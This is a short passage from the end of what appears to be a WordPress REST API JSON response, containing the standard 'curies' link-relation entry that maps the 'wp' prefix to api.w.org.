7"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}